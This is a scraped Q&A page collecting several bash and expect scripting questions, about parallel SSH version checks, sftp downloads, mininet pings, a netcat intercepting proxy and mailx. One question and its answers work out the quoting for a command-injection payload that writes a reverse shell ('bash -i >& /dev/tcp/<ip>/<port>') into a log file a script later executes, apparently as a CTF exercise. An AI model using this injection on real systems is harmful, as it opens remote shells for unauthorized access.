Shell/Bash + expect script based on input list - bash

I'm trying to run a shell script that execute an expect script based on an input list (IP Addresses), but in parallel.
Unfortunately I didn't understood how to achieve it, below my working script that execute the expect script sequentially on each IP contained in the list.
#!/bin/bash
HOST="$1"
USER="user"
PASS="password"
OUT="checkversion.csv"
rm -rf $OUT
touch $OUT
NOW=$(date +"%Y-%m-%d_%H-%M-%S")
echo "Script started at $NOW"
for i in `cat $1`
do
SCRIPT=$(expect -c "
spawn ssh -o HostKeyAlgorithms=+ssh-dss -o KexAlgorithms=+diffie-hellman-group1-sha1 -o StrictHostKeyChecking=no -c 3des-cbc -c aes128-cbc -c aes192-cbc -c aes256-cbc -c aes128-ctr -c aes192-ctr -c aes256-ctr $USER#$i
match_max 100000
expect \"*?assword:*\"
send -- \"$PASS\r\"
expect \"*>*\"
send -- \"start shell\"
send -- \"\r\"
expect \"*%*\"
send -- \"exit\"
send -- \"\r\"
expect \"*>*\"
send -- \"exit\"
send -- \"\r\"
")
VERSION=`echo "$SCRIPT" | grep JUNOS | grep -v WARNING | grep -v possible | grep -v recover`
echo "$i;$VERSION" >> $OUT
done
NOW=$(date +"%Y-%m-%d_%H-%M-%S")
echo "script finished at $NOW - note any errors above"
Could you please help me in found a method to run it in parallel and speedup the process?
Thanks

Please try changing your script as follow:
#!/bin/bash
HOST="$1"
USER="user"
PASS="password"
OUT="checkversion.csv"
rm -rf $OUT
touch $OUT
NOW=$(date +"%Y-%m-%d_%H-%M-%S")
echo "Script started at $NOW"
function runSSH {
PARAM=$1
SCRIPT=$(expect -c "
spawn ssh -o HostKeyAlgorithms=+ssh-dss -o KexAlgorithms=+diffie-hellman-group1-sha1 -o StrictHostKeyChecking=no -c 3des-cbc -c aes128-cbc -c aes192-cbc -c aes256-cbc -c aes128-ctr -c aes192-ctr -c aes256-ctr $USER#$PARAM
match_max 100000
expect \"*?assword:*\"
send -- \"$PASS\r\"
expect \"*>*\"
send -- \"start shell\"
send -- \"\r\"
expect \"*%*\"
send -- \"exit\"
send -- \"\r\"
expect \"*>*\"
send -- \"exit\"
send -- \"\r\"
")
VERSION=`echo "$SCRIPT" | grep JUNOS | grep -v WARNING | grep -v possible | grep -v recover`
echo "$PARAM;$VERSION" >> $OUT
}
for i in `cat $1`; do
# Run SSH in background
runSSH $i &
done
# Wait for background processes to finish...
wait
NOW=$(date +"%Y-%m-%d_%H-%M-%S")
echo "script finished at $NOW - note any errors above"

Related

Netcat listener produces error: "bash: 1': ambiguous redirect"

When attempting to create a reverse shell with the following code injection, I receive the error: bash: 1': ambiguous redirect:
echo “ ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #” >> hackers
The code to be executed is directed to the hackers file which, in turn, is called by this script:
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
Try to add \" at the start and the end :
echo “\" ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #\"” >> hackers
This worked for me :
echo "\" HRI ; /bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' \"" >> hackers

sftp bash script doesnt downloads files

I have a problem with my bash script.
It connects to my sftp server.
Gets the list of files to download.
Should download the files. But it doesnt do this. I can see the commands. if I write the commands manually, it works.
You can see the script and the log files here:
#!/bin/bash
LOCALDIR="/data/IMPORT/$(date +%Y%m%d)"
REMOTEDIR="/EXPORT"
FILELIST="$LOCALDIR/filelist.txt"
FILELIST2="$LOCALDIR/filelist2.txt"
SFTP="sftp -P 1234 -i /var/xxxxxx.pem -oStrictHostKeyChecking=no user#xxxxx.xxxx"
PASSPHRASE="xxxxxxxxxxxxxxxx"
mkdir -p $LOCALDIR
rm $FILELIST
rm $FILELIST2
allfilenames=()
function readFileList {
expect -c "
spawn $SFTP
expect \"assphrase\"
send \"$PASSPHRASE\r\"
expect \"sftp>\"
send \"lcd $LOCALDIR\r\"
send \"ls -l $REMOTEDIR/*\r\"
expect \"sftp>\"
send \"exit\r\"
interact " > $FILELIST
}
function getFiles {
myfilenames=("$#")
expect -c "
spawn $SFTP
expect \"assphrase\"
send \"$PASSPHRASE\r\"
expect \"sftp>\"
send \"lcd $LOCALDIR\r\"
expect \"sftp>\"
send \"cd $REMOTEDIR\r\"
expect \"sftp>\"
" >> $FILELIST2
for filepath in "${myfilenames[#]}"
do
file="$(basename -- $filepath)"
expect -c "
send \"get -P $file\r\n\"
sleep 3
expect \"sftp>\"
" >> $FILELIST2
done
expect -c "
send \"exit\r\"
" >> $FILELIST2
}
readFileList
c=0
if [[ -f "$FILELIST" ]]; then
while read line; do
filename=$(echo $line | awk '{ print $9 }')
if [[ "$filename" =~ ^$REMOTEDIR ]] ; then
allfilenames+=($filename)
fi
done < $FILELIST
fi
getFiles "${allfilenames[#]}"
filelist.txt looks like:
spawn sftp -P 1234 -i /var/xxxxxx.pem -oStrictHostKeyChecking=no user#xxxxx.xxxx
Enter passphrase for key '/var/xxxxxx.pem':
Connected to xxxxx.xxxx.
sftp> lcd /data/IMPORT/20200401
sftp> ls -l /EXPORT/*
-rw-r--r-- 0 1000472 1000472 3681 Mar 31 22:31 /EXPORT/file1.txt
-rw-r--r-- 0 1000472 1000472 14537 Mar 31 22:34 /EXPORT/file2.txt
-rw-r--r-- 0 1000472 1000472 5932 Mar 31 22:34 /EXPORT/file3.txt
sftp> exit
filelist2.txt looks like:
spawn sftp -P 1234 -i /var/xxxxxx.pem -oStrictHostKeyChecking=no user#xxxxx.xxxx
Enter passphrase for key '/var/xxxxxx.pem':
Connected to xxxxx.xxxx.
sftp> lcd /data/IMPORT/20200401
sftp> cd /EXPORT
sftp> get -P file1.txt
get -P file2.txt
get -P file3.txt
exit
expect -c 'spawn sftp ...'
expect -c 'send "get file\r" '
Here when the first expect -c completes, the SFTP connection will be closed so the second expect -c would not work. You have to use one single expect -c for one SFTP session.
It's like when you manually sftp to the server, you cannot temporarily go back to Bash and come back to sftp later.

send: spawn id exp6 not open while executing

#!/bin/bash
MN_ROUTER_NUM=$1 #5
MN_BANDWIDTH=$2 #12
MN_DELAY=$3 #1ms
MN_LOSS=$4 #10
PING_COUNT=$5 #100
PING_PACKET_SIZE=$6 #100
PING_INTERVAL=$7 #0
if [ ! -f topology.py ];
then
echo "topology.py file could not be found."
exit 1;
fi
(expect - << EOD
spawn sudo mn --custom topology.py --topo mytopo,n=$MN_ROUTER_NUM --link tc,bw=$MN_BANDWIDTH,delay=$MN_DELAY,loss=$MN_LOSS
set timeout 1000
expect "*mininet>*"
sleep 1
send -- "h1 ping h2 -s $PING_PACKET_SIZE -c $PING_COUNT -i $PING_INTERVAL \n"
expect "*mininet>*"
sleep 1
send -- "exit\n"
interact
EOD
) | tee .ping.out | grep -e "ttl=" | awk '{print $(NF-1)" ms"}' | cut -d'=' -f2 > n_${MN_ROUTER_NUM}_BW_${MN_BANDWIDTH}_delay_${MN_DELAY}_loss_${MN_LOSS}.out
cat .ping.out | grep -e "packets transmitted" -e "rtt min/avg/max/mdev"
rm -f .ping.out
echo "Delays are saved in "n_${MN_ROUTER_NUM}_BW_${MN_BANDWIDTH}_delay_${MN_DELAY}_loss_${MN_LOSS}.out
This script connects two hosts via routers.
When I run above script, I get this error sometimes, but not every time:
send: spawn id exp6 not open
while executing
"send -- "h1 ping h2 -s 100 -c 100 -i 0 \n""
I don't know why it sometimes work but sometimes do not.What could be the reason?

unix (cygwin) fifo buffering

Looking for an intercepting proxy made with netcat I found this script:
#!/bin/sh -e
if [ $# != 3 ]
then
echo "usage: $0 <src-port> <dst-host> <dst-port>"
exit 0
fi
TMP=`mktemp -d`
BACK=$TMP/pipe.back
SENT=$TMP/pipe.sent
RCVD=$TMP/pipe.rcvd
trap 'rm -rf "$TMP"' EXIT
mkfifo -m 0600 "$BACK" "$SENT" "$RCVD"
sed 's/^/ => /' <"$SENT" &
sed 's/^/<= /' <"$RCVD" &
nc -l -p "$1" <"$BACK" | tee "$SENT" | nc "$2" "$3" | tee "$RCVD" >"$BACK"
Which work nicely, as expected.
Since I need to look closely to the encoding used, hence the actual bytes passing, I tried to change some lines to use hexdump -vC:
#!/bin/sh -e
if [ $# != 3 ]
then
echo "usage: $0 <src-port> <dst-host> <dst-port>"
exit 0
fi
TMP=`mktemp -d`
BACK=$TMP/pipe.back
SENT=$TMP/pipe.sent
RCVD=$TMP/pipe.rcvd
trap 'rm -rf "$TMP"' EXIT
mkfifo -m 0600 "$BACK" "$SENT" "$RCVD"
( hexdump -vC | sed 's/^/ => /' ) <"$SENT" &
( hexdump -vC | sed 's/^/<= /' ) <"$RCVD" &
nc -l -p "$1" <"$BACK" | tee "$SENT" | nc "$2" "$3" | tee "$RCVD" >"$BACK"
Now it's not working anymore. Actually, I've lost the "realtime" feature of the previous script. Every byte sent is dumped in a single batch; then every byte received in another batch; and this all only after the connection is closed.
I'm suspecting some sort of buffering occurs in the pipe (|), but I'm not sure how to:
test this hypotesis;
fix the script to make it work in realtime again.
PS1. I'm using cygwin.
PS2. sh --version outputs:
GNU bash, version 4.1.10(4)-release (i686-pc-cygwin)
Edit:
Removind the | sed ... part (that is, leaving only hexdump -vC <"$SENT" and hexdump -vC <"$RCVD") the realtime feature is back, increasing my suspicion over the pipeline operator. But the output turns out to be confusing since sent and received bytes are mixed.
Still I couldn't manage to resolve the buffering (?) issue, but I could change the hexdump invocation to render the sed unnecessary:
#!/bin/sh -e
if [ $# != 3 ]
then
echo "usage: $0 <src-port> <dst-host> <dst-port>"
exit 0
fi
TMP=`mktemp -d`
BACK=$TMP/pipe.back
SENT=$TMP/pipe.sent
RCVD=$TMP/pipe.rcvd
trap 'rm -rf "$TMP"' EXIT
mkfifo -m 0600 "$BACK" "$SENT" "$RCVD"
hexdump -v -e '" => %08.8_Ax\n"' -e '" => %08.8_ax " 8/1 "%02x " " " 8/1 "%02x "' -e '" |" 16/1 "%_p" "|\n"' <"$SENT" &
hexdump -v -e '"<= %08.8_Ax\n"' -e '"<= %08.8_ax " 8/1 "%02x " " " 8/1 "%02x "' -e '" |" 16/1 "%_p" "|\n"' <"$RCVD" &
nc -l "$1" <"$BACK" | tee "$SENT" | nc "$2" "$3" | tee "$RCVD" >"$BACK"
Yes, the new hexdump looks ugly, but works.
This question for me is now open just for the sake of curiosity. I'm still willing to give the "correct answer" points to the one who explains (and fixes) the buffering (?) behavior.

Can't figure out how to send ^D (EOT) signal to mailx in bash script

I'm writing a bash script to send me an email automatically.
Mailx requires an EOT or ^D signal to know the message body is over and it can send.
I don't want to hit ^D on the keyboard when I run script which is what it does now.
Here is my code:
#! /bin/bash
SUBJ="Testing"
TO="test#test.com"
MSG="message.txt"
echo "I am emailing you" >> $MSG
echo "Time: `date` " >> $MSG
mail -s "$SUBJ" -q "$MSG" "$TO"
rm -f message.txt
If you do not need to add more text and just need to send the content of $MSG, you can replace
mail -s "$SUBJ" -q "$MSG" "$TO"
with
mail -s "$SUBJ" "$TO" < "$MSG"
The EOT will be implicit in the < construct. -q is indeed only used to start a message. The rest is supposed to come through stdin.
Pipe the output of a command group to mail.
#! /bin/bash
SUBJ="Testing"
TO="test#test.com"
MSG="message.txt"
{
echo "I am emailing you"
echo "Time: `date` "
} | mail -s "$SUBJ" -q "$MGS" "$TO"
rm -f message.txt

Resources